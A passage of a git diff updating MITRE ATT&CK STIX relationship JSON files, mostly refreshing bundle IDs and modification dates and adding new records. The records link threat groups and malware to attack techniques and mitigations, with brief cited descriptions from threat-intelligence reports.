             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--647032ac-0432-4785-9d50-06b9970bcbcb.json b/enterprise-attack/relationship/relationship--647032ac-0432-4785-9d50-06b9970bcbcb.json
index 1758cdf7e8..87d9e75e14 100644
--- a/enterprise-attack/relationship/relationship--647032ac-0432-4785-9d50-06b9970bcbcb.json
+++ b/enterprise-attack/relationship/relationship--647032ac-0432-4785-9d50-06b9970bcbcb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b651ced-41fa-4540-9fe5-8c0950395e2c",
+    "id": "bundle--0f4e0107-cefd-4752-97c6-0317e3a962af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--647032ac-0432-4785-9d50-06b9970bcbcb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
             "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
diff --git a/enterprise-attack/relationship/relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2.json b/enterprise-attack/relationship/relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2.json
index 4f34af21e2..c39b6fa666 100644
--- a/enterprise-attack/relationship/relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2.json
+++ b/enterprise-attack/relationship/relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--adcb12ed-6852-4f6c-b309-dded2bef7a4b",
+    "id": "bundle--ed471eda-f660-48d5-8816-514a3f0c2a98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Strider has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky ProjectSauron Blog",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/"
+                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--64a17aba-5182-4666-bd37-dafa9d835fe8.json b/enterprise-attack/relationship/relationship--64a17aba-5182-4666-bd37-dafa9d835fe8.json
index 2614c6a107..09653c8345 100644
--- a/enterprise-attack/relationship/relationship--64a17aba-5182-4666-bd37-dafa9d835fe8.json
+++ b/enterprise-attack/relationship/relationship--64a17aba-5182-4666-bd37-dafa9d835fe8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--884437a5-f821-4c1d-a43a-1ded7693e47e",
+    "id": "bundle--74a664af-2d8d-450c-9c6d-da9187e920b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--64aab090-e7c2-4114-8c15-49700b611fb8.json b/enterprise-attack/relationship/relationship--64aab090-e7c2-4114-8c15-49700b611fb8.json
new file mode 100644
index 0000000000..c777ceb2f7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--64aab090-e7c2-4114-8c15-49700b611fb8.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--e7044b62-22e7-486b-8039-3a1ebf7e7de8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--64aab090-e7c2-4114-8c15-49700b611fb8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--64cb753d-eb72-4dce-a417-7df747334347.json b/enterprise-attack/relationship/relationship--64cb753d-eb72-4dce-a417-7df747334347.json
index cfe8600c6a..68fa80e879 100644
--- a/enterprise-attack/relationship/relationship--64cb753d-eb72-4dce-a417-7df747334347.json
+++ b/enterprise-attack/relationship/relationship--64cb753d-eb72-4dce-a417-7df747334347.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--244f1e28-e312-4970-8c3e-8894b46c23ce",
+    "id": "bundle--f8aa082f-3f4e-4c4f-ba14-6050792a2c1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--64cb753d-eb72-4dce-a417-7df747334347",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE may collect information about running processes.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f.json b/enterprise-attack/relationship/relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f.json
index 57e4d18385..d0a44c9864 100644
--- a/enterprise-attack/relationship/relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f.json
+++ b/enterprise-attack/relationship/relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e2a0cf12-c73b-4dd8-93d9-f4d4d75f9950",
+    "id": "bundle--8ac0ddf6-8087-4575-8171-ab6d9e8b477e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4.json b/enterprise-attack/relationship/relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4.json
index e35aa7a5fb..11faf38228 100644
--- a/enterprise-attack/relationship/relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4.json
+++ b/enterprise-attack/relationship/relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39afd0de-98b8-4c0a-91c7-c8630870a0c2",
+    "id": "bundle--7c97dcb7-82bd-4958-978f-0b5e2c8e82bd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--6592447f-31c8-46d0-8e88-47584fa301f0.json b/enterprise-attack/relationship/relationship--6592447f-31c8-46d0-8e88-47584fa301f0.json
index 704413c6c1..9f4ce6617a 100644
--- a/enterprise-attack/relationship/relationship--6592447f-31c8-46d0-8e88-47584fa301f0.json
+++ b/enterprise-attack/relationship/relationship--6592447f-31c8-46d0-8e88-47584fa301f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63c3f8dd-1bb9-49d7-8d5b-ae9d64187424",
+    "id": "bundle--264a25ba-ebc9-4a3d-8644-051d306178aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of modifying the Registry.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
diff --git a/enterprise-attack/relationship/relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80.json b/enterprise-attack/relationship/relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80.json
new file mode 100644
index 0000000000..3036eddea2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--f722f1d8-a1ab-48ec-ba0b-54db189f9cab",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
+            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--65f7704a-358a-464d-b09b-fee5dd96adf3.json b/enterprise-attack/relationship/relationship--65f7704a-358a-464d-b09b-fee5dd96adf3.json
new file mode 100644
index 0000000000..34671a938e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--65f7704a-358a-464d-b09b-fee5dd96adf3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2eb3fcc7-aae4-4459-8c21-37c4007e4f73",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--65f7704a-358a-464d-b09b-fee5dd96adf3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can take a screenshot and upload the file to its C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--660d09ce-8722-42b3-8503-911dff37bf22.json b/enterprise-attack/relationship/relationship--660d09ce-8722-42b3-8503-911dff37bf22.json
index 26806630d7..2994a317ef 100644
--- a/enterprise-attack/relationship/relationship--660d09ce-8722-42b3-8503-911dff37bf22.json
+++ b/enterprise-attack/relationship/relationship--660d09ce-8722-42b3-8503-911dff37bf22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--33f335b8-45d7-4235-88a0-37e021271866",
+    "id": "bundle--988b4650-cf1e-4ce9-a632-ce2f9b2ef13d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--660d09ce-8722-42b3-8503-911dff37bf22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ASPXSpy is a Web shell.Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).",
             "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
diff --git a/enterprise-attack/relationship/relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164.json b/enterprise-attack/relationship/relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164.json
index 4a9d91f307..6bad44ec6f 100644
--- a/enterprise-attack/relationship/relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164.json
+++ b/enterprise-attack/relationship/relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5a91fd9-621e-42aa-ad12-ca1d07421b65",
+    "id": "bundle--810a6a2d-9ad8-48ce-ad4c-c75e96cba296",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A RedLeaves configuration file is encrypted with a simple XOR key, 0x53.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022.json b/enterprise-attack/relationship/relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022.json
index b544175f1d..4b7302bee2 100644
--- a/enterprise-attack/relationship/relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022.json
+++ b/enterprise-attack/relationship/relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66dd3fe9-d40d-4731-a057-231a1f697f1c",
+    "id": "bundle--c6150473-d97b-41e7-9800-ea20f194cd76",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT obfuscates C2 communication using a 1-byte XOR with the key 0xBE.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--66625422-17cd-4b04-beb5-fa2eabe350ad.json b/enterprise-attack/relationship/relationship--66625422-17cd-4b04-beb5-fa2eabe350ad.json
index 2b98d4fc85..f32246326b 100644
--- a/enterprise-attack/relationship/relationship--66625422-17cd-4b04-beb5-fa2eabe350ad.json
+++ b/enterprise-attack/relationship/relationship--66625422-17cd-4b04-beb5-fa2eabe350ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4b05f0ff-a2e1-4de1-b83b-f9528440b85a",
+    "id": "bundle--db0265c2-ecb6-414f-8aee-b2c5d021d258",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--66625422-17cd-4b04-beb5-fa2eabe350ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke copies and exfiltrates the clipboard contents every 30 seconds.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--66819f02-7a22-4f21-8e4f-df24969e5567.json b/enterprise-attack/relationship/relationship--66819f02-7a22-4f21-8e4f-df24969e5567.json
index 2102deb105..454964a647 100644
--- a/enterprise-attack/relationship/relationship--66819f02-7a22-4f21-8e4f-df24969e5567.json
+++ b/enterprise-attack/relationship/relationship--66819f02-7a22-4f21-8e4f-df24969e5567.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f106798-010c-4d10-85bd-7d6c6259f116",
+    "id": "bundle--33ca08ca-c71e-4d4d-a791-8f69296a9d10",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list running processes.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3.json b/enterprise-attack/relationship/relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3.json
new file mode 100644
index 0000000000..a90553d9b5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--8508311b-671a-4441-a671-cf65acd003cd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765",
+            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--66a3ab46-abcb-4234-a786-638044cfc50e.json b/enterprise-attack/relationship/relationship--66a3ab46-abcb-4234-a786-638044cfc50e.json
index 23fb1b9302..b713eca08b 100644
--- a/enterprise-attack/relationship/relationship--66a3ab46-abcb-4234-a786-638044cfc50e.json
+++ b/enterprise-attack/relationship/relationship--66a3ab46-abcb-4234-a786-638044cfc50e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--996e5b78-bab5-4e2d-8189-2afa4f090821",
+    "id": "bundle--2860fbc2-5e90-41d7-a29f-04173da55b3f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--66bec558-ff92-42ff-a8c1-5b47d071d606.json b/enterprise-attack/relationship/relationship--66bec558-ff92-42ff-a8c1-5b47d071d606.json
index c594dfb5b5..074d837a31 100644
--- a/enterprise-attack/relationship/relationship--66bec558-ff92-42ff-a8c1-5b47d071d606.json
+++ b/enterprise-attack/relationship/relationship--66bec558-ff92-42ff-a8c1-5b47d071d606.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--89b899d5-64d6-4751-a3bd-f0c0869032f2",
+    "id": "bundle--237703a6-0513-489f-84e0-c4225a20ed2e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor deletes its RAT installer file as it executes its DLL payload file.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d.json b/enterprise-attack/relationship/relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d.json
new file mode 100644
index 0000000000..ee3585e790
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a0ddae4f-2fab-404b-abfc-1f497b476fea",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can SSH to a remote service.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--67469b79-67e2-4932-9776-b09a82871723.json b/enterprise-attack/relationship/relationship--67469b79-67e2-4932-9776-b09a82871723.json
new file mode 100644
index 0000000000..c51557f12f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--67469b79-67e2-4932-9776-b09a82871723.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f77b204b-9972-40c3-af8a-f330059f1878",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--67469b79-67e2-4932-9776-b09a82871723",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A OilRig macro has run a PowerShell command to decode file contents.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--675f24e0-c445-4eb3-a191-16fb181f6e30.json b/enterprise-attack/relationship/relationship--675f24e0-c445-4eb3-a191-16fb181f6e30.json
new file mode 100644
index 0000000000..04156db9be
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--675f24e0-c445-4eb3-a191-16fb181f6e30.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1bd84d21-c712-4951-8c1d-af18ea4ddce2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--675f24e0-c445-4eb3-a191-16fb181f6e30",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used .vbs scripts for execution.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a.json b/enterprise-attack/relationship/relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a.json
index 47a65cba1c..5ebf841d27 100644
--- a/enterprise-attack/relationship/relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a.json
+++ b/enterprise-attack/relationship/relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5ae30e8-81ef-4b2c-bd78-39a5aa4dae52",
+    "id": "bundle--464ff772-9919-46ab-be8e-135089c57601",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb.json b/enterprise-attack/relationship/relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb.json
index 3d34e94417..7da1f9652f 100644
--- a/enterprise-attack/relationship/relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb.json
+++ b/enterprise-attack/relationship/relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6b7bd93e-cd4e-4f19-adac-52c714a5f37f",
+    "id": "bundle--5cbd8eae-fe1a-492c-bc65-1a1f1f11d412",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture video from a victim machine.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--678be242-66fd-40b8-bbf1-24c3dda77895.json b/enterprise-attack/relationship/relationship--678be242-66fd-40b8-bbf1-24c3dda77895.json
